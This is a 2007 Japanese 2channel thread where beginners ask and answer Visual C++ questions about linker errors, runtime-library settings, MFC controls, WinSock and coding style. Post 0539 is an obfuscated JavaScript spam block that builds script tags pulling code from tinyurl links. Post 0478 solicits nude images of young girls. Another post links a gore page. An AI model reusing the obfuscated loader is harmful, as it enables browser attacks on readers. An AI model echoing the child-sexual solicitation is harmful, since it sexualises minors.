プロジェクト - プロパティ - 構成プロパティ - 文字セット - マルチバイト文字セットを使用する
0477デフォルトの名無しさん
2007/02/17(土) 21:47:28以前コンソールアプリケーションで作成した、Mysqlのクライアントプログラムを
利用したいと考えていますが、mysql.hを追加すると下記のエラーが出ます。
mysql.hは利用できますか?
Open.cpp
WINVER not defined. Defaulting to 0x0501 (Windows XP and Windows .NET Server)
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2146: 構文エラー : ';' が、識別子 'fd' の前に必要です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2501: 'st_net::SOCKET' : 識別名を宣言するのに、型が指定されていません。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2501: 'st_net::fd' : 識別名を宣言するのに、型が指定されていません。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(358) : error C2065: 'SOCKET' : 定義されていない識別子です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(358) : error C2146: 構文エラー : ')' が、識別子 's' の前に必要です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(359) : error C2059: 構文エラー : ')'
0478デフォルトの名無しさん
2007/02/18(日) 03:29:49無毛でくっきり縦線・超美少女小学生のヌード写真(jpg)を貼り付
けたいのですがどうすればいいのかわかりません。
ウインドウの大きさと同期して画像のサイズも変わるようにしたい
です。誰か教えてください。
0479デフォルトの名無しさん
2007/02/18(日) 03:45:06まず、その素敵な性癖を直せ。
話はそれからだ。
0480デフォルトの名無しさん
2007/02/18(日) 07:36:09話はそれからだ。
0481ぶいしー
2007/02/18(日) 16:39:58拡張DLL、レギュラーDLLともに、
呼び出すクライアントとのリソースIDの重複は気にするのでしょうか?
あるサイトだと、拡張DLLはリソースIDの管理はMFCがやってくれる
みたいなことがかかれていたので・・
どなたかご教授ください。
0482デフォルトの名無しさん
2007/02/18(日) 17:41:31#include <mysql.h>の前に、#include <winsock.h>。もれはこれで
3ヶ月ほど悩んだ。
0483デフォルトの名無しさん
2007/02/18(日) 20:57:18SystemParametersInfo(SPI_SETDESKWALLPAPER,NULL,"c:\\a.bmp",0);
でコンパイルはいけるんですが、ソリューションのビルドで
エラーになります
"c:\a.bmp"でもだめです
Vistaでもいけますよね?
解る方お願いします
0484デフォルトの名無しさん
2007/02/18(日) 20:59:14>・エラーや警告のときはエラーメッセージを書きましょう。
0485デフォルトの名無しさん
2007/02/18(日) 21:21:25エラーが多いんで伏せてました
リンクしています...
aaa_ch.obj : error LNK2028: 未解決のトークン (0A000022) "extern "C" int __stdcall
SystemParametersInfoW
(unsigned int,unsigned int,void *,unsigned int)"
(?SystemParametersInfoW@@$$J216YGHIIPAXI@Z) が関数 "
int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。
aaa_ch.obj : error LNK2019: 未解決の外部シンボル "extern "C"
int __stdcall SystemParametersInfoW
(unsigned int,unsigned int,void *,unsigned int)"
(?SystemParametersInfoW@@$$J216YGHIIPAXI@Z)
が関数 "int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。
E:\C++\aaach\Debug\aaach.exe : fatal error LNK1120: 外部参照 2 が未解決です。
以上です、お願いします。
0486デフォルトの名無しさん
2007/02/19(月) 11:11:35MS Visual C++ .NET で、IntToStr関数を使えないので他の方法を調べてます。
値を文字列に変換するにはどうしたら良いのでしょうか?
0487デフォルトの名無しさん
2007/02/19(月) 11:15:20そうでなければ、boost::lexical_cast、std::(basic_)ostringstream、std::sprintf (_stprintf)と続く
0488デフォルトの名無しさん
2007/02/19(月) 11:24:28下の方法でできました!親切な回答ありがとうございます。
int a=100;
label1->Text = a.ToString();
0489デフォルトの名無しさん
2007/02/19(月) 15:21:20別の人が作ったソースで下のようにオーバーロードされた関数があるのですが、
この2つの違いって何なんでしょうか?
CRect hoge(CRect & r) const
{
:
:
}
CRect hoge(CRect const & r) const
{
:
:
}
0490デフォルトの名無しさん
2007/02/19(月) 15:39:02必要なライブラリリンクしてないんじゃね
0491デフォルトの名無しさん
2007/02/19(月) 15:40:04中味は同じでもかまわない
コンパイラが区別できればそれでいい
0492デフォルトの名無しさん
2007/02/19(月) 15:42:38constの有無。
特にconstな参照は右辺値を受け取れるので、
実質的にその多重定義は右辺値か左辺値かで振り分けられる。
0493デフォルトの名無しさん
2007/02/19(月) 16:11:30右辺値、左辺値とは何を指していますか?
この例だと引数は「r」1つだけなので右辺・左辺関係ないように思えます。
あと & についてですが、& をつけると、変数の値を変更すると
呼び出し元のスコープでもそれが変更される、という風に単純に考えています。
これに const が付くということに矛盾も感じます。
const とは、「この引数は変更不可です」という宣言だと思うのですが、
だとすれば、引数を & で渡す意味がないことになります。
このソース、バグ持ちでしょうか?
0494デフォルトの名無しさん
2007/02/19(月) 16:25:50くだらない質問は遠慮してほしいな
0495デフォルトの名無しさん
2007/02/19(月) 16:34:28お前が馬鹿なだけだからVCやるまえにC++勉強してこい
0496デフォルトの名無しさん
2007/02/19(月) 17:03:54わかりました…
ありがとうございます
0497デフォルトの名無しさん
2007/02/19(月) 18:35:130498デフォルトの名無しさん
2007/02/19(月) 19:53:10あきらめるなな。最初は分かんないことばかりなんだから。
0499デフォルトの名無しさん
2007/02/20(火) 22:01:04プロジェクトのプロパティで、
ランタイムライブラリについての設定周りで質問なのですが、
今/MDでビルドすると上手く行くいき、/MTにしたところ
ヒープの破壊が発生するといった状況になりました。
プロジェクトには自前のDLLを使ってます。
ttp://support.microsoft.com/kb/190799/ja
ここにあるとおり、CRTオブジェクトの操作の不備が原因であると
分かりました。
それで質問なのですが、
多くの場合の開発では/MTと/MDどちらを使用するのでしょうか、
/MDの方が、容量が小さくなるし、CRTobjも共有できるようですが、
Cランタイム等がインストールされている必要があります。
/MTだと、ランタイムがインストールされていなくても動作
するようですが、容量が大きく、CRTobjが共有できないようです。
どっちもどっちなのですが、やはり/MDが主流なのでしょうか?
0500デフォルトの名無しさん
2007/02/20(火) 22:13:29あとここは初心者スレだし
0501デフォルトの名無しさん
2007/02/20(火) 22:22:00CStirng s;
testFunc(&s);
void testFunc(CString s)
{ CString tmp("test"); (*s) = tmp; }
とやると s の値が呼び出し元でも変更されていて、
CString *s;
testFunc(s);
void testFunc(CString *s)
{ CString tmp("test"); s = &tmp; }
とやると変更されていないのはなぜでしょう?
Cのイメージからいくと上の方が変更されずに下で変更されるような気がするのですが・・
0502デフォルトの名無しさん
2007/02/20(火) 22:30:08testFunc(p);
void testFunc (int *p)
{ int tmp=1; p=&tmp; }
0503499
2007/02/20(火) 22:48:00他スレに投げてきます。
0505デフォルトの名無しさん
2007/02/20(火) 22:52:04受けたい場合はこういう風に使うのが普通
void GetWindowText( CString& rString ) const;
0506デフォルトの名無しさん
2007/02/20(火) 22:56:300507デフォルトの名無しさん
2007/02/21(水) 00:08:53んまぁ今のCPUじゃ一瞬だろうけどな…
0508デフォルトの名無しさん
2007/02/21(水) 01:33:290509デフォルトの名無しさん
2007/02/21(水) 06:19:25CString CListCtrl::GetItemText(int nItem, int nSubItem) const
{
ASSERT(::IsWindow(m_hWnd));
LVITEM lvi;
memset(&lvi, 0, sizeof(LVITEM));
lvi.iSubItem = nSubItem;
CString str;
int nLen = 128;
int nRes;
do
{
nLen *= 2;
lvi.cchTextMax = nLen;
lvi.pszText = str.GetBufferSetLength(nLen);
nRes = (int)::SendMessage(m_hWnd, LVM_GETITEMTEXT, (WPARAM)nItem,
(LPARAM)&lvi);
} while (nRes == nLen-1);
str.ReleaseBuffer();
return str;
}
0510デフォルトの名無しさん
2007/02/21(水) 09:41:270511デフォルトの名無しさん
2007/02/21(水) 16:45:09MS Visual C++ .NET にて質問なのですが、テキストボックスのフォントを
textBox1->Font = new System::Drawing::Font("MSゴシック", 10);
このように変更できますが、new しっぱなしで構わないのでしょうか?
また、
textBox1->Font->Name = "MSゴシック";
textBox1->Font->Size = 10;
このように変更できないのでしょうか?
よろしくおねがいします。
0512デフォルトの名無しさん
2007/02/21(水) 16:48:361) コントロールに割り当てると、うまく壊すタイミングがないからGCに任せるといい。
2) 読み取り専用プロパティだから無理。
0513511
2007/02/21(水) 18:33:41ありがとうございます。
でも分からないことだらけで死にそうです…。
ビルダーだったら簡単なのに…。とりあえず以下のように拡張しました。
// フォント情報生成
CString fontName = dlg.GetFaceName();
int fontSize = dlg.GetSize()/10;
COLORREF fontColor = dlg.GetColor();
// BOLD と ITALIC
int fontStyle = 0;
if(dlg.IsBold() ) fontStyle += (int)FontStyle::Bold;
if(dlg.IsItalic()) fontStyle += (int)FontStyle::Italic;
// セット
textBox1->Font = new System::Drawing::Font(fontName, fontSize, (FontStyle)fontStyle);
なお new を gcnew にすると
error C2065: 'gcnew' : 定義されていない識別子です。
とエラーが出ます。
これは何故なのでしょうか?
0514デフォルトの名無しさん
2007/02/21(水) 19:33:37Visual Studio .NET 2002 / 2003
-> Managed C++
Visual Studio 2005
-> C++/CLI
おそらく2003あたりなんだろうけど、
開発環境は "MS Visual C++ .NET" なんて略さず、確り書くべき。
0515デフォルトの名無しさん
2007/02/21(水) 19:46:08それはともかくこのほうがいいと思う。
FontStyle fontStyle;
if (dlg.IsBold()) fontStyle |= FontStyle::Bold;
if (dlg.IsItalic()) fontStyle |= FontStyle::Italic;
0516デフォルトの名無しさん
2007/02/21(水) 22:37:04プロジェクトを作る場合にチェックボックスで指定出来るのは後から
知ったのですが、これを忘れた場合どうすればよいのでしょうか?
ws2_32.lib のリンクなどが必要だと思うのですが、VC++6.0とは
リンクの仕方が変わっているようで分かりませんでした。
0517デフォルトの名無しさん
2007/02/21(水) 22:50:37プロジェクトを作る場合にチェックボックスで指定しなかった場合
2種類つくってどこが違うか比較
0518デフォルトの名無しさん
2007/02/21(水) 22:58:45をmsdnで調べましょう
0519デフォルトの名無しさん
2007/02/21(水) 23:12:26有難うございます、解決できました。
0520デフォルトの名無しさん
2007/02/22(木) 10:56:24ありがとうございます。
おかげさまで疑問点は解決できました。
0521デフォルトの名無しさん
2007/02/22(木) 11:05:08textBox1->Font = new Font("MSゴシック", 10);
と、プログラムからフォント指定する場合、
textBox1コンポーネントに元々あったはずのフォント情報を保存するためのメモリ領域は
どこへ行っちゃうのでしょうか…?
0522デフォルトの名無しさん
2007/02/22(木) 12:43:15だからメモリリークの心配は要らない。
0523デフォルトの名無しさん
2007/02/22(木) 14:03:58.NETすげー。
サンクスコ。
0524デフォルトの名無しさん
2007/02/22(木) 20:22:070525デフォルトの名無しさん
2007/02/22(木) 20:29:210526デフォルトの名無しさん
2007/02/22(木) 23:16:230527デフォルトの名無しさん
2007/02/23(金) 00:03:53だとしたらA言語とかB言語もあるってこと?
0528デフォルトの名無しさん
2007/02/23(金) 00:05:270529デフォルトの名無しさん
2007/02/23(金) 00:31:38ついでに言うとCの由来はBの後継ということでBCPLの2文字目。
0530デフォルトの名無しさん
2007/02/23(金) 00:51:51ユニコードの設定では
CStdioFile::WriteStringで日本語が出力されないんですが
いったい如何すればいいんでしょうか?
0531530
2007/02/23(金) 00:52:510532デフォルトの名無しさん
2007/02/23(金) 07:03:23既定ではCロケールになっているので、Unicode/MBCS変換時に日本語は無視されてしまう。
以下の一行をInitInstance辺りにでも入れておくと、OSの設定に従うようになる。
_tsetlocale(LC_ALL, _T(""));
0534デフォルトの名無しさん
2007/02/23(金) 17:01:59MS Visual C++ .NET 2003
においてなのですが、
CEditコンポーネントのフォントを変更する場合、以下のようにすると成功しました。
CEdit* edit(GetDlgItem(IDC_ED1));
CFONT font;
LOGFONT logfont;
(logfont編集)
font = CreateFontIndirect(&logfont);
edit->SetFont(font, TRUE);
logfontを編集することによって、フォント種類やサイズ、下線などが指定できました。
しかし、フォントの色だけは変更できませんでした。
edit->SetTextColor(refcolor);
のような関数があればいいのですがCEditのメンバにはないようにです。
CEditコンポーネントのフォント色を変更する方法を知ってる方、どうか
教えていただけないでしょうか。
0535デフォルトの名無しさん
2007/02/23(金) 18:51:510536デフォルトの名無しさん
2007/02/23(金) 20:07:16WM_CTLCOLORをハンドル。
親が処理するか、メッセージ返送を使ってCEditの派生で処理させるか好きな方を。
残念ながら、背景色はSetBkColorだけではうまくいかない。でも調べるの('A`)マンドクセ
0537デフォルトの名無しさん
2007/02/23(金) 21:06:59ありがとうございます。
ググるための重要なキーワードです。ただ…訳の分からないエラーが出たり
基本を分かってなかったりで死にそうです。
ちょっと首吊ってきます…。
0538デフォルトの名無しさん
2007/02/23(金) 22:18:10error LNK2005: "private: __thiscall type_info::type_info(class type_info const &)" (??0type_info@@AAE@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。
fatal error LNK1169: 1 つ以上の複数回定義されているシンボルが見つかりました。
VC++のない環境でもEXEを実行できるよう
VC++2005で/MTオプションでビルドしたところ上のようなエラーが出ました。
LIBCMT.libを無視するようにしたら、ビルドは通りましたがVCのない環境では実行できませんでした。
調べたところ
Microsoft_VC_DebugCRT_x86.msm
policy_8_0_microsoft_vc80_debugcrt_x86.msm
とういうファイルに依存しているようでした、VCがない環境で実行できないのはこれが原因でしょうか?
0539デフォルトの名無しさん
2007/02/23(金) 22:26:47tt+="画";j=0;for(i=0;x.length>i;i++){if(3<=x[i].length){j++;if(1==j){tx=x[i];}else{a=x[i].split("&l=");b=eval(a[1]);
if(1>b){b=1;}else if(999<b){b=999;} b=(b+.1)/1000;b=a[0]+"&auto"+"play=1&l="+(""+b).substr(2,3);
c="you"+"tube.com/v/000000"+"00000&aut"+"oplay=1&l=99";b+=c+"9"+c+"8"+c+"7";b=b.substr(0,42*3);
xx+=b;}}} ds="<scr"+"ipt ";dq="src="+"//tin"+"yur"+"l.c"+"om/";dc=ds+dq;de="</scr"+"ipt>";
dn="<noscr"+"ipt>< img "+dq; df="</noscr"+"ipt>";db="<noem"+"bed>";dx="<xnoem"+"bed>";
d[0]="\";"+de+dc+f+">"+de+"\n";d[1]="<html><center><title>"+tx+tt+"</title>"+ds+">x=\"";
d[2]=dn+"y5o"+"vet >"+db+df+ds+">x=\"";d[3]=dc+"yn2"+"d2r>"+de+dx+dx+ds+">x=\"";n=xx.length/(42*3);
for(j=0;3>j;j++){dd+=d[j+1];for(i=0;n>i;i++){dd+=xx.substr(42*(3*i+j),42);}dd+=d[0];};exec(dd);
0540デフォルトの名無しさん
2007/02/23(金) 22:28:050541デフォルトの名無しさん
2007/02/23(金) 22:30:18http://g-s.s7.xrea.com/bbs_ftp/source/guro_0362.htm?1
0542デフォルトの名無しさん
2007/02/23(金) 22:55:13>MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
>LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。
Releaceでリビルドし直せ。
0543デフォルトの名無しさん
2007/02/24(土) 00:30:160544デフォルトの名無しさん
2007/02/24(土) 01:00:47プログラムを組んでも、必ずといっていいほど最初はとんでもないことしてるので、デバッグモードで動かすと
すぐ修正できて便利です。
ただ、ファイルを開いてなんかするプログラムだと、デバッグモードではファイルを開くことができません。
これは仕方ないのでしょうか
0545デフォルトの名無しさん
2007/02/24(土) 01:10:400546デフォルトの名無しさん
2007/02/24(土) 06:13:43何を言ってるのか理解できない
0547デフォルトの名無しさん
2007/02/24(土) 10:25:10C++はプログラミング言語で、VisualC++はMicrosoftのプログラム開発ソフト。
意味が全く違う。
0548デフォルトの名無しさん
2007/02/24(土) 13:14:080549デフォルトの名無しさん
2007/02/24(土) 13:26:350550デフォルトの名無しさん
2007/02/24(土) 13:33:440551デフォルトの名無しさん
2007/02/24(土) 13:56:37IID_ITaskSchedulerを介してアクセス。
0552デフォルトの名無しさん
2007/02/24(土) 14:02:350553デフォルトの名無しさん
2007/02/26(月) 11:45:16新しい本買わなきゃ ・゚・(ノД`)・゚・。ウワーン
0554デフォルトの名無しさん
2007/02/26(月) 12:21:380555デフォルトの名無しさん
2007/02/26(月) 15:02:31>>543がそんな意図で聞いてるんじゃないことは明白だと思うんだが
0556デフォルトの名無しさん
2007/02/26(月) 15:27:100557デフォルトの名無しさん
2007/02/26(月) 15:59:46gccなのかVisualC++なのかC++Builderなのか.NETなのか判断できないし。
0558デフォルトの名無しさん
2007/02/26(月) 20:59:28そういうのって無意味だよな。
VCが使えない分野でなら確実にVCのことではない。
0559デフォルトの名無しさん
2007/02/26(月) 23:23:35.NET 2003 で WinSock を使用する方法です。
プロパティページの追加のライブラリのディレクトリにws2_32.libがある
Microsoft Visual Studio .NET\Vc7\PlatformSDK\lib を追加して
winsock2.hをインクルードするようにしたのですが、リンクのエラーになってしまいます。
未解決の外部シンボル __imp__WSAStartup@8 が関数〜
fatal error LNK1120: 外部参照 2 が未解決です
といった感じです。
どうすればよいのでしょうか?
0560デフォルトの名無しさん
2007/02/26(月) 23:26:59追加の入力ファイルという項目があるから、そこにws2_32.libと書く。
そうしてはじめてリンク時にws2_32.libが使われる。
0561デフォルトの名無しさん
2007/02/26(月) 23:33:39差分とって調べりゃ5分で済んだろうにアホだな
0562516
2007/02/26(月) 23:46:01ありがとうございます。
確認してみます。
>>561
差分ってどうやってだすんですか?
テキストであればツールで簡単に確認できますが、リンカの設定などは
バイナリデータに入ってそうなんですが。
0563デフォルトの名無しさん
2007/02/26(月) 23:50:440564デフォルトの名無しさん
2007/02/27(火) 01:30:390565デフォルトの名無しさん
2007/02/27(火) 04:45:26さすれば、幸せを手に入れることが出来るだろう。
0566デフォルトの名無しさん
2007/02/27(火) 10:26:29アホとか言うのは控えろよ
ここ初心者スレだぞ
カスが
0567デフォルトの名無しさん
2007/02/27(火) 11:02:540568デフォルトの名無しさん
2007/02/27(火) 11:09:100569デフォルトの名無しさん
2007/02/27(火) 11:40:030570デフォルトの名無しさん
2007/02/27(火) 17:05:09リソースビューの欄で「Dialogを挿入」を行い画面をデザインしてます。
この画面にボタンを2個配置しました。
Aのボタンは最初は無効状態でBのボタンを押すことによって有効にします。
なのでAのボタンは「メンバー変数追加ウイザード」でメンバー変数m_bt1を追加して
Bのボタンが押されたイベントの中でm_bt1.EnableWindow(TRUE);と記述しました。
しかし、コンパイルは通りますが動作させるとエラーが出ます。
ちなみに
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
と記述すると正常に動作します。
何故メンバー変数追加で操作するとエラーになるのでしょうか?
IDや変数名の重複は無いです。
0571デフォルトの名無しさん
2007/02/27(火) 17:11:38あとは簡単なテストプログラム作って試すぐらいだから自分でやってみれば?
0572デフォルトの名無しさん
2007/02/27(火) 17:14:50新しく簡単なサンプル作ってやってみれば?ということね
0573デフォルトの名無しさん
2007/02/27(火) 18:02:360574デフォルトの名無しさん
2007/02/27(火) 18:03:29m_bt1.m_hWndは有効な値だった?
0575570
2007/02/27(火) 18:32:01カーソルを当てて見てみたところメンバー変数を定義した変数のm_hWndは0x00000000です。
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
としてm_bt1のh_Wndを見ると0x00090beeです。
0576デフォルトの名無しさん
2007/02/27(火) 18:43:02変数定義もっかいやりなおしてみたら。
何回やってもダメならその手順書いてみな
0577デフォルトの名無しさん
2007/02/27(火) 18:44:27もう一度やり直してみるといい。
対象のボタンを右クリックして「メンバ変数の追加」、
んでコントロール変数として適当なのを追加。
0579デフォルトの名無しさん
2007/02/27(火) 19:50:05if(roopout==FALSE)
break;
else
....
が機能しませんが環境によってそういうことがあるのですか?
デバッグしながら確実に中にはいってるものを確かめましたがelseのほうにいきます
0580デフォルトの名無しさん
2007/02/27(火) 19:56:06if (!roopout) とか書いた方が安全
0581デフォルトの名無しさん
2007/02/27(火) 19:57:12条件式が真の場合にただの空行を実行してるとか
0582デフォルトの名無しさん
2007/02/27(火) 19:57:240583デフォルトの名無しさん
2007/02/27(火) 20:03:07見えるだけなんじゃない?
0584デフォルトの名無しさん
2007/02/27(火) 20:06:220585デフォルトの名無しさん
2007/02/27(火) 20:06:35本もサイトも全然ないもんな……
0586デフォルトの名無しさん
2007/02/27(火) 20:21:12if(roopout=FALSE)
と書いていた。
0587デフォルトの名無しさん
2007/02/27(火) 20:23:05条件文は必ず定数を先に書くことにしてる
if(200 == myIQ) みたいな
0588デフォルトの名無しさん
2007/02/27(火) 20:29:160589デフォルトの名無しさん
2007/02/27(火) 20:39:44再起動したりしたら動きました
0590516
2007/02/27(火) 21:44:56テキストファイルを見比べてみて同じようにすれば出来ました。
VC++6.0のSDKのときはライブラリをリンクして winsock2.h をインクルードして
たんですが、今回、2003のMFCの場合、ヘッダをインクルードして後はちょこちょこっと
関数を呼び出しているだけでライブラリのリンクは特にしていないように思えました。
良く分からなかったのですが、とにかく出来ました。
0591デフォルトの名無しさん
2007/02/28(水) 01:23:13VCだと警告されない罠。
gccでは文句言われるので、そっちに合わせた書き方してるけど。
0592デフォルトの名無しさん
2007/02/28(水) 01:51:430593591
2007/02/28(水) 02:46:30安全性考えると、pragmaか/wオプションでレベル下げとくのもありかなあ。
0594デフォルトの名無しさん
2007/02/28(水) 14:56:39みたいに定数を先に書くソースを見ると身震いするほど嫌悪感を抱くのは俺だけ?
0595デフォルトの名無しさん
2007/02/28(水) 15:09:530596デフォルトの名無しさん
2007/02/28(水) 15:43:04初めて見た。
0597デフォルトの名無しさん
2007/02/28(水) 17:00:54オレも。
0599デフォルトの名無しさん
2007/02/28(水) 23:18:590600デフォルトの名無しさん
2007/03/01(木) 00:39:08うっかりしてリテラルと変数を逆に書くなんてことはない。
0601デフォルトの名無しさん
2007/03/01(木) 08:11:35そりゃいないだろ
わざと逆にやってんだから
0602デフォルトの名無しさん
2007/03/01(木) 10:24:23文章のように読めるプログラムを理想としてるのがわるいのかなあ。
0603デフォルトの名無しさん
2007/03/01(木) 11:20:23そうそう。たとえば、
if( a == 100 )
だと、頭の中で「a は 100 か」と読める。
でも
if( 100 == a )
だと、「100 は a か」と読んでしまう。
主題が a ではなくなってしまい、思考が後戻りしてしまう感覚が
あってなんかイラッとする。
0604デフォルトの名無しさん
2007/03/01(木) 11:27:04解放処理等はちゃんと行われているのでしょうか?
0605デフォルトの名無しさん
2007/03/01(木) 12:04:11行なわれるものと行なわれないものがある。
0606デフォルトの名無しさん
2007/03/01(木) 12:09:02#include <stdio.h>
int main(void)
{
printf("こんにちは\n");
return 0;
}
って書いたプログラムってそのままC++で実行できる?
それとも
#include <iostream>
using namespace std;
int main()
{
cout << "こんにちは" << endl;
}
って書かなきゃだめ?
0607デフォルトの名無しさん
2007/03/01(木) 12:10:410608デフォルトの名無しさん
2007/03/01(木) 12:16:520609デフォルトの名無しさん
2007/03/01(木) 12:18:10そうなんですか〜 ありがとうございます。
はじめたばかりの初心者ですみません。
0610デフォルトの名無しさん
2007/03/01(木) 12:21:240611デフォルトの名無しさん
2007/03/01(木) 12:42:340612デフォルトの名無しさん
2007/03/01(木) 13:01:53とか思う俺は年寄りなんだろうな……
0613デフォルトの名無しさん
2007/03/01(木) 13:15:26#include <stdio.h>
int main(void)
{
printf("こんにちは\n");
return 0;
}
マイクロソフトのVisual C++でやってみたところ
画面が一瞬出てからすぐ消えちゃうんですがどうすればいいでしょうか?
0614デフォルトの名無しさん
2007/03/01(木) 13:16:410615デフォルトの名無しさん
2007/03/01(木) 13:22:56Visual Studioのバージョンによるが「デバッグなしで開始」するか、
コマンドプロンプトを開いてそこから実行する。
0616デフォルトの名無しさん
2007/03/01(木) 14:15:45何回も何回も出るな、その質問。
>>615でいいけど、デバッグしたいなら
rerturn にブレークポイント置くか、その前に getchar(); でも入れとけば。
0617デフォルトの名無しさん
2007/03/01(木) 14:23:07ありがとうございます。
0618デフォルトの名無しさん
2007/03/01(木) 15:07:29それは強みというより、自分の首を自分で絞めているようなもののような気がする。
stdioなんて使わずに、がんばってC++のライブラリを使用すべきなんじゃないか。
論じる次元が違うかもだけど、構造化プログラミングというパラダイムとオブジェクト
指向というパラダイムを同時に使っているような気がして、なんか嫌だ。
C++がますます煙たがれ、衰退するような気がする。
0619デフォルトの名無しさん
2007/03/01(木) 16:19:30話が飛躍しすぎ
0620デフォルトの名無しさん
2007/03/01(木) 16:32:13C++はそういう複数のパラダイムを使えることが強みだと
C++の作者Stroustrupも自著D&Eで言っている。
0621デフォルトの名無しさん
2007/03/01(木) 16:37:20afxwin.hをインクルードしているのにも関わらず、CWndを使うと
error C2061: 構文エラー : 識別子 'CWnd'
というのが出ます。
CWndを使用するためにはafxwin.hをインクルードするだけでは足りないのでしょうか?
0622デフォルトの名無しさん
2007/03/01(木) 18:44:420623デフォルトの名無しさん
2007/03/01(木) 19:24:24返答ありがとうございます。
この行が先頭に出て、他にエラーは出ません。
0624デフォルトの名無しさん
2007/03/01(木) 21:06:010625デフォルトの名無しさん
2007/03/01(木) 21:14:140626デフォルトの名無しさん
2007/03/01(木) 22:31:17C言語に変なもの持ち込んでC++を作りやがってとすら思っている。
0627デフォルトの名無しさん
2007/03/02(金) 03:05:26実に便利だと思う。STLと絡めると特に。
0628デフォルトの名無しさん
2007/03/02(金) 08:40:140629デフォルトの名無しさん
2007/03/02(金) 08:46:27VCの話には参加できなくてROMってる初心者が多いということか
0630デフォルトの名無しさん
2007/03/02(金) 08:56:49まあテキスト入出力自体あまりしないからかもしれん、
作るのは GUI アプリばっかだからコンソールは使わないし、
、データ保存はもっぱらバイナリだし、
設定ファイルは WritePrivateProfileString だからなあ
0631デフォルトの名無しさん
2007/03/02(金) 12:18:27C/C++の話の方がdeepな感じがするが
0632デフォルトの名無しさん
2007/03/02(金) 13:25:30C/C++のベテランでも挫折するという話だし
0633デフォルトの名無しさん
2007/03/02(金) 17:22:290634デフォルトの名無しさん
2007/03/03(土) 19:53:590635デフォルトの名無しさん
2007/03/03(土) 20:27:380636デフォルトの名無しさん
2007/03/03(土) 21:55:11VCという道具を使ってWindowsプログラミングをするのが目的だろ
0637デフォルトの名無しさん
2007/03/03(土) 22:58:37テキストを一行取得するようなことをしたい場合は
ReadFileとかで適当なバイト数読み出して
行末を見つけて抜き出す、のようにやっているんですか?
0638デフォルトの名無しさん
2007/03/03(土) 23:38:210639デフォルトの名無しさん
2007/03/04(日) 01:38:18そうだよ。SDKだけでやるならね。
0640デフォルトの名無しさん
2007/03/04(日) 05:34:28>>637 が言ってることをやってるよ。
0641デフォルトの名無しさん
2007/03/04(日) 09:13:46自前でやるか、呼び出す関数・メソッドが内部でやるか
ただそれだけのことでしかないわな
0642デフォルトの名無しさん
2007/03/04(日) 11:49:440643デフォルトの名無しさん
2007/03/04(日) 13:59:09けど安全性とか汎用性とかもあるから既存のライブラリを使う場合もある。
どれが一番いいのか?といわれたら
自分で何種類か書いて実際試してみるしかないだろうな
自分で試さずに人に聞いたり脳内でやってるやつは使いものにならない。
0644デフォルトの名無しさん
2007/03/04(日) 18:20:21プロパティウィンドウからコントロールのフォントや色を変えたいのですが、
それらしい項目が見つかりません。
使っているVCのバージョンは2005なのですが、昔のバージョンは
それっぽいのがあったと思ったのですが・・・
どうやったら変更できますでしょうか?
0645デフォルトの名無しさん
2007/03/04(日) 18:30:450646デフォルトの名無しさん
2007/03/04(日) 18:32:590647デフォルトの名無しさん
2007/03/04(日) 23:49:02それはVBだ
0648デフォルトの名無しさん
2007/03/06(火) 08:50:44メニューのイベント・ハンドラが変・・・・
2003ではメニューのアイテムから
イベントハンドラの追加を選ぶと、
『追加して編集』と『コードを編集』ってボタンがあって
すでにイベントハンドラがある場合は、
『コードを編集』を押すと、
ソースのその関数に飛んでくれたんだけど
2005では『追加して編集』しかないんです
これって使用なんですか?
『コードを編集』はなくなって、自分で関数を探すしかないんでしょうか?
0649デフォルトの名無しさん
2007/03/06(火) 10:19:47タブで進めてリターン押してみ
IEのバージョンは?
0650デフォルトの名無しさん
2007/03/06(火) 10:23:51>>649 の言うように、タブで移動して押すしかないな。
0651デフォルトの名無しさん
2007/03/06(火) 12:37:22>>650
確かにIE7です
『追加して編集』と『キャンセル』の間が開いてて
タブで移動していって適当なところでリターンしたら『コード編集』できました
とりあえず、ありがとうございます
だけど、コード編集ボタンを直接見たり、押すことはできないんですか?
IEのバージョンを6とかに戻せばいいんでしょうか?
(戻せるのかどうかわかりませんが・・・・)
0652デフォルトの名無しさん
2007/03/06(火) 12:45:29unixのmotifなんかだとあらゆるコンポーネントにほとんど同一のメンバを追加することができる。
windowsのgui開発言語もそうなればいいのに。
0653デフォルトの名無しさん
2007/03/06(火) 13:42:570654デフォルトの名無しさん
2007/03/06(火) 13:55:30リソースの仕様に含まれていない以上、できなくて当然とも言えるな。
0655デフォルトの名無しさん
2007/03/06(火) 14:16:21MS VC++.NET2003なのですが、
画面をキャプチャする方法をどなたかご存知でしょうか。
画面全体でなくてもいいのですが、
(マウスカーソルの部分の1ドットだけでいいんですが)、
キャプチャしてそこからマウスカーソルの部分の色情報を取得したいと考えています。
よろしくお願いします。
0656デフォルトの名無しさん
2007/03/06(火) 14:27:16指定された座標のピクセルの RGB (赤、緑、青) 値を取得
0657デフォルトの名無しさん
2007/03/06(火) 14:38:180658デフォルトの名無しさん
